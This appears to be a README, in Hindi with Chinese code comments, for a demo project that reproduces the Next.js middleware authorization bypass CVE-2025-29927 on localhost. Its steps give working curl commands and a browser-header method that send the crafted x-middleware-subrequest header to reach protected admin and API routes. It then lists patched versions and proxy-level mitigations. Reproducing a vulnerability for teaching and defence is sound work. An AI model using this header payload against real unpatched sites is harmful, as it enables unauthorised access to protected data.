उदाहरण: Authorization Bypass in Next.js Middleware (CVE-2025-29927)

यह Repo एक उदाहरण प्रोजेक्ट प्रदान करता है जो Next.js में Middleware प्राधिकरण बायपास भेद्यता (CVE-2025-29927) को प्रदर्शित करता है। यह भेद्यता अनधिकृत उपयोगकर्ताओं को संरक्षित संसाधनों तक पहुँचने की अनुमति देती है।

भेद्यता अवलोकन

CVE-2025-29927 एक गंभीर सुरक्षा भेद्यता है (CVSS स्कोर: 9.1) जो Next.js के middleware सिस्टम को प्रभावित करती है। हमलावर HTTP अनुरोध में विशेष रूप से तैयार किया गया x-middleware-subrequest header जोड़कर middleware की सुरक्षा जाँचों को पूरी तरह से बायपास कर सकते हैं।

प्रभावित संस्करण

• Next.js 11.1.4 से 13.5.6
• Next.js 14.x, 14.2.25 से नीचे के संस्करण
• Next.js 15.x, 15.2.3 से नीचे के संस्करण

भेद्यता का प्रभाव

• प्राधिकरण बायपास: हमलावर बिना प्रमाणीकरण के संरक्षित पथों (जैसे /admin) तक पहुँच सकते हैं
• API सुरक्षा बायपास: संरक्षित API एंडपॉइंट्स (जैसे /api/confidential) तक पहुँच संभव है
• सुरक्षा header बायपास: यदि CSP, HSTS आदि जैसे सुरक्षा headers middleware में सेट किए गए हैं, तो वे भी बायपास हो जाते हैं

पूर्वापेक्षाएँ

1. Node.js और npm इंस्टॉल होना चाहिए
2. फ़ोल्डर में cd करें और dependencies इंस्टॉल करने के लिए npm install चलाएँ
3. Next.js डेवलपमेंट सर्वर शुरू करने के लिए npm run dev चलाएँ
4. ब्राउज़र में http://localhost:3000 खोलें और आप वर्तमान वेबसाइट देख सकते हैं

भेद्यता की कार्यप्रणाली को समझना

Next.js आंतरिक header x-middleware-subrequest का उपयोग middleware के पुनरावर्ती कॉलों के कारण होने वाले अनंत लूप को रोकने के लिए करता है। हालाँकि, इस header का फायदा बाहरी अनुरोधों द्वारा उठाया जा सकता है। जब कोई अनुरोध इस header को शामिल करता है और अधिकतम पुनरावृत्ति गहराई (MAX_RECURSION_DEPTH) तक पहुँच जाता है, तो Next.js middleware निष्पादन को पूरी तरह से छोड़ देता है।

भेद्यता को कैसे पुनः उत्पन्न करें

चरण 1: संरक्षित पथ तक सामान्य रूप से पहुँचना (अवरुद्ध किया जाएगा)

पहले, संरक्षित पथ तक सामान्य रूप से पहुँचने का प्रयास करें:

# 訪問受保護的管理員頁面
curl http://localhost:3000/admin/dashboard -v

अपेक्षित परिणाम: लॉगिन पृष्ठ पर पुनर्निर्देशित किया जाएगा (302 redirect to /login)

# 訪問受保護的 API
curl http://localhost:3000/api/confidential -v

अपेक्षित परिणाम: 401 Unauthorized त्रुटि लौटाता है

चरण 2: भेद्यता का उपयोग करके Middleware को बायपास करें

अब, middleware को बायपास करने के लिए विशेष रूप से तैयार header का उपयोग करें:

# 繞過 /admin 路徑保護
curl http://localhost:3000/admin/dashboard \
  -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
  -v

अपेक्षित परिणाम: व्यवस्थापक पृष्ठ की सामग्री तक सफल पहुँच (200 OK)

# 繞過 /api/confidential 保護
curl http://localhost:3000/api/confidential \
  -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
  -v

अपेक्षित परिणाम: API तक सफल पहुँच और गोपनीय जानकारी प्राप्त करना (200 OK)

चरण 3: ब्राउज़र का उपयोग करके परीक्षण

आप ब्राउज़र के डेवलपर टूल का उपयोग करके भी परीक्षण कर सकते हैं:

1. ब्राउज़र डेवलपर टूल खोलें (F12)
2. Network टैब पर जाएँ
3. header जोड़ने के लिए ModHeader एक्सटेंशन या समान टूल का उपयोग करें:
   • Header Name: x-middleware-subrequest
   • Header Value: middleware:middleware:middleware:middleware:middleware
4. http://localhost:3000/admin/dashboard पर जाएँ
5. आपको व्यवस्थापक पृष्ठ की सामग्री देखनी चाहिए, पुनर्निर्देशित होने के बजाय

भेद्यता की व्याख्या

जब middleware को x-middleware-subrequest header वाला अनुरोध प्राप्त होता है:

1. Next.js इसे एक आंतरिक पुनरावर्ती कॉल मानता है
2. जब header मान में पर्याप्त middleware मार्कर होते हैं (5 बार दोहराव), तो MAX_RECURSION_DEPTH सीमा ट्रिगर होती है
3. अनंत लूप से बचने के लिए, Next.js middleware निष्पादन को पूरी तरह से छोड़ देता है
4. अनुरोध सीधे लक्ष्य रूट तक पहुँचता है, सभी सुरक्षा जाँचों को बायपास करते हुए

समाधान

1. Next.js का संस्करण अपग्रेड करें

पैच किए गए संस्करण में अपग्रेड करें:

• 12.x: 12.3.5 या उससे ऊपर अपग्रेड करें
• 13.x: 13.5.9 या उससे ऊपर अपग्रेड करें
• 14.x: 14.2.25 या उससे ऊपर अपग्रेड करें
• 15.x: 15.2.3 या उससे ऊपर अपग्रेड करें

2. अस्थायी शमन उपाय

यदि तुरंत अपग्रेड संभव नहीं है, तो रिवर्स प्रॉक्सी (Nginx, Apache, आदि) स्तर पर x-middleware-subrequest header वाले अनुरोधों को ब्लॉक किया जा सकता है:

Nginx कॉन्फ़िगरेशन उदाहरण:

location / {
    if ($http_x_middleware_subrequest) {
        return 403;
    }
    proxy_pass http://localhost:3000;
}

Apache कॉन्फ़िगरेशन उदाहरण:

RequestHeader unset x-middleware-subrequest

3. बहुस्तरीय सुरक्षा (Defense in Depth)

middleware के अलावा, रूट हैंडलर में भी प्रमाणीकरण जाँच लागू करें:

// 在 API 路由中添加額外的認證檢查
export async function GET(request) {
    // 不要只依賴 middleware，在這裡也檢查認證
    if (!isAuthenticated(request)) {
        return new Response('Unauthorized', { status: 401 });
    }
    // ... 處理請求
}

संदर्भ

• Next.js Security Advisory (GHSA-f82v-jwr5-mffw)
• CVE-2025-29927 Details
• Next.js Middleware Documentation